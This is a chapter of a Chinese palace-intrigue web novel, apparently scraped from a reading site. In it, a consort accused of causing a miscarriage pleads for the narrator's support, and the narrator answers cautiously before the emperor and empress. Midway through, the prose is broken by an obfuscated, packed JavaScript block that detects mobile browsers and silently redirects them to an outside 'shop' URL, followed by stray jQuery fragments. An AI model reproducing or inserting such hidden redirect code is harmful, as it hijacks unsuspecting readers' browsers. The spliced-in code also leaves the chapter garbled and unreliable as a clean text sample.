42.疑冤

作品:《碎凤

    我和兰殊迅速赶到了钟粹宫正殿。


    殿门在身后沉重合拢,一股浓浊的气息瞬间包裹上来,我很清楚,那是尚未散尽的血腥气,混合着苦涩药汁的味道。


    我的目光几乎是本能地先投向了内室。层层帐幔被钩子勉强挽起,露出榻上那个曾经明艳张扬、此刻却了无生气的女子。


    叶云歌躺在那里,面色是一种近乎死灰的惨白,往日总是描画精致的唇瓣干裂无色,几缕被汗水浸透的乌发狼狈地黏在光洁的额角与颊边,那双惯常流转着精明、傲气与算计的眼眸紧紧闭着,长睫在眼睑下投下两弯脆弱的阴影。


    她像一株被狂风暴雨彻底摧折的芍药,所有的绚丽光华、所有的尖刺锋芒,都在这一夕之间凋零殆尽,只余下这破碎的狼狈与令人心惊的沉寂。


    那个她期盼了许久的孩子,甚至未能让她看上一眼,聆听一声啼哭,便已化作一滩触目惊心的血红,无声无息地离开了这个它尚未真正踏足的世界。


    一股不受控制的怜悯与悲哀涌上心头,不仅为了那个未曾谋面便已逝去的小小生命,也为了眼前这个失去了所有骄傲资本、躺在那里生死未卜的女人。


    纵使我们往日龃龉不断,此刻看着她这般毫无生气的模样,我心中翻涌的,竟只剩下深沉的悲凉。


    殿中央,慕容舜华直挺挺地跪在坚硬的地面上,几支金簪歪斜地缀在发间,显出一种仓皇的痕迹。她那明艳夺目的脸上血色尽失,嘴唇微微颤抖着,一双漂亮的凤眼里布满了骇人的红丝,此刻正死死地盯着端坐上首的帝后二人。


    她的声音因长时间的嘶喊辩解而变得沙哑不堪,却依旧执拗地、一遍又一遍地重复着,字字泣血:


    “不是臣妾!陛下,真的不是臣妾做的!臣妾是讨厌她,臣妾是想给她不痛快,巴不得她失宠落魄!但臣妾发誓,臣妾从未想过害她的孩子!那是陛下的骨血啊!臣妾再肆意妄为,也深知皇嗣干系重大,绝不敢动此歹念!陛下,明鉴啊——”


    那声音带着一种被逼至绝境的绝望,往日那个骄纵跋扈的身影,此刻在空旷殿宇的映衬下,竟显得如此单薄而无助。


    我的目光缓缓上移,落在端坐于上首的谢清裕身上。


    他面色沉郁如水,眉宇间凝结着显而易见的悲痛与因皇嗣夭折而起的愤怒,然而,在他的眼底,我看不到全然的信任,也看不到彻底的否定,只有一种更为复杂的、权衡着前朝后宫势力消长的沉重,以及几分不易察觉的疲惫与深深的无奈。


    他在判断,在衡量,而慕容舜华的眼泪与誓言,似乎并非他此刻最需要的东西。


    盛望舒依旧如同当年楚瑛难产血崩时那般笔直地端坐着,她的脸色比平日更加苍白,所有的血色似乎都已被这接二连三的殇逝抽干。


    但我知道,我看得真切,她那平静得近乎漠然的面容之下,正压抑着如何巨大的绝望与一种了然的悲戚。


    她的目光偶尔极其缓慢地扫过跪地泣诉的慕容舜华,扫过内室昏迷不醒的叶云歌,最终落回虚空中的某一点,带着一种看透了这深宫之中无尽轮回、重复上演的悲剧宿命的苍凉。


    就在这死一般的寂静与慕容舜华凄厉不绝的辩白声交织中,跪在地上的慕容舜华,眼角的余光猛地捕捉到了刚刚进殿、尚未来得及向帝后行礼的我与兰殊。


    她像是溺水之人终于抓住了最后一根漂浮的稻草,猛地扭过头,那双布满血丝、几乎要瞪裂的眼眸死死地钉在我身上,声音拔高到一个尖锐刺耳的程度,带着孤注一掷的凄厉和近乎疯狂的期盼,尖声问道——


    “景羲和!你来了,你说!十年了,自王府到现在,整整十年了!你信不信我?你摸着你的良心说,你信不信我会做这种戕害皇嗣、断子绝孙的缺德事?你说啊——”


    这一声石破天惊的质问,在寂静的殿宇中嗡嗡回荡。刹那间,殿内所有或明或暗的目光,帝后审视的视线,侍立宫人惊恐的眼神,瞬间齐刷刷地聚焦到了我的身上。


    我感觉浑身的血液仿佛在这一刻彻底凝固了。


    进退维谷,左右皆是万丈深渊。


    信不信她?这答案在我心里再清楚不过——我信。


    十年了,从裕王府到毓金宫,我们争宠、较劲、彼此算计。没有人比我更清楚,她慕容舜华坏得明明白白,坏得张扬直接。


    戕害皇嗣?用这种阴私歹毒的手段,去扼杀一个尚未出世的婴儿?


    那双总是燃烧着斗志和些许天真的明眸里,或许有嫉妒,有愤怒,有被抢走关注的委屈,但我却不曾在其中见过对无辜生命如此彻底的漠视与狠辣。


    她是慕容家的女儿,她的骄傲刻在骨子里。她争的是独一份的荣光,是情爱里的输赢,而不是用婴孩的性命去铺就道路。


    可是,“我信”这两个字,此刻却重如千钧,死死地堵在我的喉咙里,一个字也吐不出来。


    我说不出口。


    若说信,等于公然质疑眼前这似乎指向她的证据,质疑谢清裕或许已然形成的判断,不仅仅会立刻将我置于慕容舜华同党的危险位置,恐怕更会直接触怒龙颜,将自己彻底卷入这场风暴的最中心。


    时间在这一刻被无限拉长,殿内药香混合着血腥的气息黏稠得令人作呕。


    慕容舜华绝望的眼神,谢清裕深沉难辨的注视,还有身侧兰殊悄然投来的、带着担忧与提醒的一瞥……


    所有的一切,都如同巨大的石磨,一寸寸地碾过我的心脏。


    短暂的沉默后,我深吸了一口气,强迫自己镇定下来。


    我抬起眼,没有立刻看向慕容舜华,而是先转向帝后,依着宫规,稳稳地行了一个无可挑剔的大礼,声音尽力维持着平稳,尽管指尖在袖中微微颤抖。


    “臣妾参见陛下,皇后娘娘。”


    礼毕,我才缓缓转向依旧死死盯着我的慕容舜华。


    “贵妃娘娘,”我开口,语气中没有偏袒,也没有畏惧,只有一种陈述事实的冷静,“臣妾入府十年,与娘娘相识亦有十载。这十年间,娘娘性情如何,行事如何,臣妾不敢说全然了解,但也算亲眼目睹。”


    我微微停顿,目光扫过在场众人,最终落回慕容舜华脸上。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644450|185672||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “娘娘性子刚烈,喜怒形于色,与舒妃素有龃龉,这是六宫皆知之事。”我承认了她的动机,尽量让我的话听起来不像是盲目的包庇。


    “但是——”


    这个“但是”至关重要,我略微加重了语气。


    “臣妾也记得,当年嘉嫔有孕时,娘娘虽亦有不忿,却始终谨守底线,未曾真正伤及皇嗣分毫。娘娘出身将门,慕容家世守护疆土,护卫黎民。臣妾不愿相信,流淌着如此血脉、自幼耳濡目染忠义之道的娘娘,会做出戕害陛下骨血、动摇国本之事。”


    这是我唯一能做的了。


    没有直接说信或不信,只能留下一句“不愿相信”,用看似冷静客观的分析,去为她争取一丝喘息的空间。


    可这何尝不是一种懦弱?一种在强权与现实面前的妥协?


    我明明相信她的清白,却无法给她最直接的支持。


    我保全了自己,或许也为她争取了时间,可在这个过程中,我是否也亲手磨钝了自己心中某处尚且柔软、敢于坚持的东西?


    这深宫啊,它不仅在吞噬生命,更在一点点蚕食着人性中最本真的信任与勇气。


    最后,我转向谢清裕和盛望舒,深深一福,语气沉痛而恳切:“陛下,娘娘,臣妾愚见,皇子夭折,乃宫中至痛。无论真相如何,都需彻查清楚,明正典刑,既是为了告慰逝去的皇儿,也是为了还相关之人一个清白,或应得之惩处。万不可因一时激愤,而让真相蒙尘,令亲者痛,仇者快。”


    听完我的话,慕容舜华先是愣住,仿佛没料到我会如此回应,随即那双充满血丝的眼睛里瞬间涌上了巨大的、复杂的情绪。


    有被理解的剧烈震动,有在绝境中听到一丝公道的酸楚,更有委屈爆发后的彻底崩溃。


    她不再凄厉地喊叫,肩膀却剧烈地抖动起来,泪水汹涌而出,在她苍白的脸上冲出狼狈的痕迹。这个十年来一直争强好胜的女人看着我,嘴唇哆嗦着,想说什么,却最终只是化作压抑的呜咽。


    谢清裕听着我条理清晰的陈词,脸上沉郁未散。他没有立刻发作,也没有表示赞许,只是看向我的眼神里,少了几分之前的莫测,多了几分深沉的思量。


    他沉吟片刻,终于开口,声音低沉却带着不容置疑的威压:“娴妃所言,不无道理。此事……确需详查。”


    盛望舒依旧端坐着,与谢清裕交换了一个极其短暂、含义不明的眼神,脸上没有任何表情。她轻轻叹了口气,“陛下圣明。是该彻查清楚,也好让舒妃安心。”


    殿内再次陷入一片死寂,只有慕容舜华压抑的、断断续续的哭泣声。


    看着慕容舜华崩溃的背影,看着内室叶云歌了无生气的脸庞,一股巨大的无力依旧旧席卷了我。


    谢清裕那句“确需详查”背后,是真要查明真相,还是另一种平衡与谋算的开端?


    盛望舒那声叹息里,又包含了多少未尽的言语与深宫的无奈?


    真相的迷雾依旧浓重,那个未曾绽放便已凋零的小生命,究竟为何而去?


    我垂首,心中只余一片冰冷的茫然。